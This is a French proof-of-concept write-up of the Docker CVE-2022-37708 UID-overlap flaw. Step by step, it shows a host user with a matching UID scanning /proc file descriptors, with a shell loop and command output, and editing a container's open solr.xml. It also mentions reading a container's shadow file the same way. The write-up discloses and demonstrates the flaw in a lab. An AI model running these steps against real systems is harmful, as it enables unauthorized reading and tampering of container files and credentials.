
Docker CVE-2022-37708
Docker CVE-2022-37708.
Cet exploit repose sur la manière dont le système de fichiers UNIX attribue des UID et des GID aux fichiers que Docker partage entre l'hôte qui exécute Docker et le client qui s'exécute dans Docker, ainsi que sur la nature de la propriété des identifiants de processus.
Cela peut être fait dans pratiquement n'importe quel langage offrant un accès aux descripteurs de fichiers. Le répertoire /proc/ expose justement ces informations, ce qui rend l'opération très facile à réaliser à l'aide de commandes shell.
Considérons un ordinateur fournissant un service de messagerie électronique pour plusieurs utilisateurs. Ce service de messagerie est exécuté dans une distribution autonome tournant dans Docker sur l'hôte. Cette distribution autonome est considérée comme le « système client ». Le système sur lequel Docker s'exécute est considéré comme le « système hôte ». Le « système hôte » héberge différents services, tels que « DBUS » pour fournir un bus de messages. Pour des raisons de sécurité, le bus de messages « DBUS » est exécuté en tant qu'utilisateur non privilégié « messagebus » avec l'UID 123. L'utilisateur « messagebus » n'a ni accès à Docker ni accès au « système client ». Pour des raisons de sécurité, le « système client » exécute le traitement des e-mails en tant qu'utilisateur non root « emailservice » avec l'UID 123.
Remarquez que j'ai désigné « messagebus » comme ayant un UID de 123 et « emailservice » comme ayant également un UID 123. Normalement, cela ne pose pas de problème car ce sont deux systèmes distincts (le « système client » et le « système hôte ») et leurs UID et mappages d'utilisateurs n'ont aucune relation entre eux.
Si à un moment quelconque le « emailservice » ouvre un e-mail aléatoire à traiter, le « messagebus » aurait l'opportunité de voir et de modifier ce fichier. Étant donné que l'utilisateur « messagebus » est complètement extérieur au « système client », ce dernier ne saurait jamais que ce fichier est potentiellement lu et modifié.
Cela peut être encore plus dangereux si le « emailservice » lit le fichier shadow du système pour valider une combinaison nom d'utilisateur/mot de passe. Le « messagebus » aurait alors un accès complet en lecture et en écriture au fichier shadow du « système client » pendant toute la durée où ce fichier est ouvert dans le « système client ».
Un moyen simple d'exécuter l'exploit consiste à « composer » des PID dans le répertoire /proc/ à la recherche de fichiers PID.
Un simple script bash en boucle infinie peut rechercher périodiquement les fichiers ouverts.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Il y a deux aspects critiques de l'exploit qui le rendent difficile à exploiter.
Pour le premier cas, une boucle infinie et un peu de magie de script peuvent remédier à cela. Pour le second cas, une distribution spécialement conçue ou une distribution bien connue peut éliminer le facteur chance. Si un système possède des UID prédéfinis, il devrait alors être possible de prédire quel UID externe au « système client » est nécessaire.
Utilisation d'une machine virtuelle Vagrant Debian-10 (Buster) comme « système hôte » pour tester l'exploit :
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Dans le « système hôte », obtenez la dernière version de Docker et suivez les instructions ici :
L'exemple de « système client » est un produit open-source hébergé sur Github appelé DSpace qui fournit un fichier docker-compose :
Maintenant, clonez DSpace et lancez docker compose :
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
Plusieurs images sont créées par ce projet, mais concentrons-nous sur « dspace_solr_data ».
Vérifions que la traversée de répertoire est protégée :
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Regardons le fichier que je veux exploiter :
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Cela nous indique que notre utilisateur chanceux doit avoir un UID de 8983 pour pouvoir exploiter cela.
Créons cet utilisateur chanceux et appelons-le « Lightman ».
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Maintenant, regardons ces fichiers :
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Pour que Lightman puisse exploiter cela, il ne suffit pas que Lightman soit propriétaire des fichiers : un processus DANS le « système client » doit avoir le fichier ouvert.
Pour les besoins de la démonstration de cet exploit, nous allons utiliser tail -F sur le fichier solr.xml dans le « système client ».
Faites cela dans un terminal séparé, connecté à la « machine hôte » en tant qu'utilisateur vagrant.
Identifiez le bon conteneur :
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Maintenant, connectez-vous à solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
L'utilisateur solr a bien l'UID 8983.
Maintenant, ouvrez le fichier solr.xml et laissez-le ouvert.
# tail -F /var/solr/data/solr.xml
Parfait, tout est prêt pour que cet utilisateur Lightman procède au war dialing des descripteurs de fichiers.
Dans un terminal séparé, connecté au « système hôte » en tant qu'utilisateur vagrant, passez à l'utilisateur Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Utilisez /proc pour composer tous les descripteurs de fichiers ouverts :
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Comme vous pouvez le voir, nous avons deux correspondances :
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Remarquez que le chemin /var/solr/data/solr.xml n'existe pas réellement sur le « système hôte ».
Portez une attention particulière au terminal sur lequel vous exécutez tail -F pendant cette opération.
Modifiez le fichier en l'ouvrant directement via le chemin proc :
# vim /proc/12683/fd/3
Je vais en bas du fichier, j'écris Hello World, puis j'enregistre la modification.
Vous devriez voir, dans le « système client », que le fichier est également mis à jour.
Lightman a réussi à modifier un fichier auquel il n'a ni accès en lecture/écriture légitime ni accès par traversée de répertoire. Le fichier se trouve en réalité dans un client Docker fonctionnant sous une distribution différente qui ne possède pas d'utilisateur « Lightman ».